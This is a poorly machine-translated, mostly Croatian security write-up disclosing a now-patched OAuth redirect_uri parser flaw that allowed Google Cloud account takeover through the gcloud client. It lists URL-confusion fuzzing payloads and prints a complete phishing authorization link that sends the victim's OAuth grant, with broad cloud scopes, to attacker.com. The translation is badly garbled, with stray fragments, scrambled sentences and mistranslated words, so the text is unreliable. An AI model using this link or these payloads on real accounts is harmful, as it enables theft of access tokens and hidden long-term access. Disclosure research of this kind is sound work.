TL;DR Sljedeći: DR Ovaj članak prolazi kroz jedinstvenu ranjivost za preuzimanje OAuth računa koju sam nedavno otkrio koja utječe na nekoliko Google usluga. Ranjivost omogućuje napadačima da pretvaraju legitimne aplikacije kao što je Google Cloud SDK klijent i ispuštaju token pristupa na poslužitelj koji kontrolira napadač, što omogućuje backdoor pristup računu žrtve - s gotovo nultim vidljivošću za žrtvu. redirect_uri Prva četiri odjeljka pokrivaju opću pozadinu o OAuth-u, riziku od curenja žetona i zbunjenosti analiziranja URL-a. Note: Section 5: Google Cloud Account Takeover Case. 1. uvod OAuth 2.0 omogućuje aplikacijama trećih strana da pristupaju korisničkim podacima bez obrade lozinki izravno tako što imaju autorizacijski poslužitelj (npr. Google) koji generira token koji će aplikacija trećih strana koristiti kako bi zatražila korisničke podatke ili izvršila radnje u njihovo ime. Ali ako je parametar nije validiran s kirurškom preciznošću, napadači se mogu pretvarati da su pouzdane aplikacije i varati korisnike u curenje njihovih tokena pristupa. redirect_uri U ovom članku, proći ću kroz to kako mi suptilna greška analiziranja URL-a omogućuje da to učinim - preko više Google usluga - s dubokim uronjenjem u slučaj Google Cloud. Kako OAuth djeluje Dok je OAuth prilično složen protokol koji zaslužuje niz članaka za potpuno razumijevanje, ovdje je pojednostavljeni pregled: : The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes). Authorization Request : After approval, the server redirects the user back to a predefined with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). Redirect with Grant redirect_uri : The client app uses the token to access the user’s protected data from the resource server. Request user data Da biste vizualizirali stvari, previše pojednostavljeni diagram ispod pokazuje da se prijavim na Medium koristeći svoj Google račun: U mnogim slučajevima, autorizacijski server i server resursa su isti. Note: OAuth Token iscjedak Gledajući gornji dijagram, najtužniji dio je korak 5, gdje autorizacijski server šalje generirani token natrag u aplikaciju klijenta. znati gdje poslati token. redirect_uri Ako ovaj parametar nije pravilno validiran, napadač može pretvarati da je aplikacija klijenta (npr. Medium) i prevariti autorizacijski poslužitelj da im pošalje korisnikov token pristupa – iako, s korisničke perspektive, sve izgleda legitimno. Tipično je, validirana u određenoj mjeri – ne možete samo baciti bilo koji slučajni URL na ovlaštenje poslužitelja. međutim, metode validiranja variraju među implementacijama ovisno o poslovnim potrebama, a greške u ovom procesu mogu biti iskorištene. redirect_uri Neki zajednički uzorci: Striktno podudaranje: točno podudaranje niza s unaprijed registriranim URI-jem. Wildcard ili Path Prefix Matching: Dopušta URI kao što su https://example.com/* ili https://*.example.com. Loopback adrese: Uobičajene u desktop aplikacijama, gdje lokalni server rješava preusmjeravanje. URL Parsing zbunjenost Prema , standardni URL ima sljedeću strukturu: RFC 3986 Svijet scheme://username:password@host:port/path?query#fragment Svaka komponenta ima određenu ulogu: : in web context it’s usually the protocol (e.g., http) scheme : user credentials username:password : the domain or IP address (e.g., google.com) host : optional port number (e.g., 443) port : the specific resource or endpoint (e.g., /login) path : key-value pairs of parameters query : a client side page reference fragment To se spominje kao Oni se spominju kao Note: host:port authority, username:password userinfo Na prvi pogled, to izgleda jednostavno – ali mogu se pojaviti suptilne razlike u analizi, osobito kada se rješavaju slučajevi s granicama. Programeri mogu pretpostaviti da je URL analiziran na dosljedan, standardiziran način u svim knjižnicama, međutim, opsežna istraživanja o URL analizatorima dokazala su potpuno suprotno od toga. OAuth redirect URI validation SSRF prevention Proxy or CDN routing Ispod je primjer gdje se jedan URL tretira drugačije kroz tri različita parsera Iako ovaj članak neće duboko ući u napade zbunjenosti analiziranja URL-a, oni su temeljito istraženi u 2017 Black Hat papiru. Nova era SSRF-a – iskorištavanje URL parsera u trendovnim programskim jezicima 5. slučaj preuzimanja Google Cloud računa Ako ste ikada koristili Google Cloud prije, vjerojatno ste naišli na CLI alat – moćan alat zapovjednog reda koji se koristi za upravljanje Google Cloud resursima. Među ostalim značajkama, omogućuje korisnicima da se autentificiraju koristeći svoje Google naloge kroz protok OAuth koji se temelji na pregledniku. gcloud Evo kako to funkcionira: The user runs gcloud auth login spawns a local http server on a dynamic port (e.g., http://localhost:50000) gcloud opens a browser window directing the user to a Google OAuth authorization URL with set to the local server address gcloud redirect_uri The user authenticates and consents to the requested scopes Google redirects the user to containing the authorization code redirect_uri exchanges the authorization code for an access token gcloud uses the access token to perform actions on the user’s Google cloud account gcloud Da bi ovaj protok funkcionirao, Google vjeruje određenim URL-ovima (npr. http://localhost) za native aplikacije, budući da se smatraju dovoljno sigurnima za lokalnu uporabu i da su unutarnje bele liste. A. Identifikacija površine napada Nakon što je vidio a Koristi se kao Moj prvi instinkt bio je zamijeniti ga i Ovo je ključan korak jer potvrđuje da se URL-ovi zapravo analiziraju i uspoređuju interno, umjesto da imaju neke osnovne provjere kao što su: localhost redirect_uri 127.0.0.1 [::1] if re.match(r"^http://localhost:\d{1,5}/$", url) is None: return False Dakle, ovdje imamo dvije važne stvari koje se događaju: The provided gets parsed and validated internally by Google’s backend. redirect_uri After a successful login and user consent, users get redirected to in the browser. redirect_uri To znači da imamo dva URL parsera na mjestu, onoga koji koristi Googleov backend i parsera koji koristi naš preglednik (Chrome u mom slučaju), tako da, osim ako su ta dva parsera identična, bilo kakva nedosljednost između njih može se iskoristiti za curenje OAuth odobrenja na poslužitelju koji kontrolira napadač. Cilj je sada jasan, moramo napraviti URL koji se analizira drugačije između dva analizatora, na način da varamo Googleov backend analizator da ga analizira kao adresu za povratak, dok ga Chromeov analizator analizira kao globalnu internetsku adresu. Činjenica da imamo vrlo ograničeno znanje o Googleovom backendu i kojoj knjižnici interno koriste za analizu URL-ova, znači da smo ostali samo s pristupom crne kutije. B. Fuzzing za pobjedu Sljedeće što sam učinio bilo je napisati Python skript koji bi mutirao različite URL-ove primjenom različitih trikova kodiranja, alternativnih notacija i slučajeva granica kako bih vidio koji su prošli validaciju Googleovog backend-a, ali su Chrome drugačije tumačio, skript je koristio nekoliko trikova kao što su: Alternativne IP reprezentacije: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1] Privatne IP adrese: 10.0.0.5, 192.168.5.3, 127.10.0.1 Različite sheme: file://, ldap://, ftp://, javascript://, data:// CRLF injekcija: %0D%0A Hostname/IP kao korisnička informacija: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com Vrlo dug URL: http://AAAAAA...@127.0.0.1 DNS dodatak: 127.0.0.1.attacker.com Štetni URL-ovi: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1 Upit/fragment injekcije: Inject extra ? , & ili # prije/nakon @ DNS rebinding (testirano ručno) Nakon što sam neko vrijeme pokrenuo scenarij i, na moje iznenađenje, jedan od generiranih slučajeva ruba uspio je izazvati točnu razliku koju sam tražio, moja reakcija je bila: Uspješan slučaj Edge pronađen je bio: http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/ koji se može dodatno pojednostavniti na: http://[::1]@[::1]@attacker.com/ Kada pokušamo analizirati ovaj URL pomoću Chrome-a, dobivamo sljedeći rezultat: Zanimljiv dio o Za početak, to je neispravan URL. Priroda je namijenjena razdvajanju Od The Chrome ublažava ovaj krajnji slučaj kodiranjem svih nerezerviranih znakova, kao i ranijih pojavljivanja rezerviranih znakova, i koristi samo najnoviju verziju kao što je ograničenje. to osigurava da bilo koji prije nego što je posljednji URL-kodiran. http://[::1]@[::1]@attacker.com/ @ userinfo hostname @ @ Nasuprot tome, na temelju eksperimentalnog testiranja s varijacijama korisnog opterećenja, čini se da Googleov backend analizator nije pravilno kodirao prethodne pojave rezerviranih znakova i umjesto toga koristio prvu pojavu kao razdijelitelj. nakon što se podijeli na Parsons vjerojatno je izvukao i iz fiksnih pozicija, potpuno ignorirajući trailing . @ @ userinfo hostname attacker.com Važno je napomenuti da je ovo ponašanje pokrenuto isključivo kada se koristi IPv6. Radilo je kako se očekivalo, naglašavajući da je nedosljednost bila specifična za IPv6 analizu logike. http://127.0.0.1@127.0.0.1@attacker.com C. Postavljajući sve zajedno Sada je naš vektor napada postao jasan, možemo se pretvarati cli alat i prevari korisnika da autentificira misli da se autentificiraju na . gcloud gcloud Napad se odvija ovako: Napravite zlonamjeran zahtjev za ovlaštenje OAuth-a i pošaljite njegovu vezu (kodni blok ispod) žrtvi Žrtvi je predstavljen potpuno legitimni protok autentifikacije OAuth za Google Cloud SDK klijent (slika 9) Žrtva se prijavljuje i pristaje na navedene dozvole (svrha) Žrtva se preusmjerava na naš zlonamjerni domaćin, s njihovim generiranim OAuth grantom Koristimo OAuth grant za obavljanje API poziva na račun žrtve u njihovo ime https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256 Ispod je vizualizacija predloženog protoka napada S gledišta korisnika, to bi izgledalo kao da se autentificiraju u , čak i za Googleov autorizacijski server, izgledalo bi kao da se korisnik pokušava autentificirati u , tako da učinkovito varamo obje strane autentifikacije da misle da je to legitimni proces autentifikacije dok se konačni token pristupa ulije u naš zlonamjerni host. gcloud gcloud Izlječeni token pristupa će nam učinkovito omogućiti neograničen pristup preko računa žrtava, omogućujući nam da izvršimo čak i vrlo povlaštene radnje. Ono što je ovaj napad učinilo još opasnijim je: : official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), Stealth Third-party apps & services they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user. : official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal application might request (we can only request scopes that are available but not actively requested) Trust gcloud Kao što smo spomenuli na početku ovog članka, je samo jedna ranjiva aplikacija, ovdje su neke druge aplikacije koje sam pronašao da su ranjive također: gcloud Google Drive Desktop Client Firebase Desktop Client Windows Mail (3rd-party app) Google je reagirao brzo, priznao ozbiljnost u roku od 72 sata i dodijelio nagradu visoke ozbiljnosti. 6. zaključak Ovo istraživanje naglašava kako suptilna razlika u analizi URL-a može potpuno ugroziti sigurnost cijelog protoka autentifikacije koji se ponovno koristi u različitim aplikacijama i uslugama, čak i kada ga provodi tvrtka koja je zrela i sigurnosno svjesna kao Google. Iako je OAuth zreli i dobro proučavani protokol, njegova sigurnost uvelike ovisi o sitnim detaljima implementacije koji variraju između platformi, knjižnica i okruženja. Google je otada ispravio ranjivost nakon odgovornog otkrivanja. Hvala na čitanju!
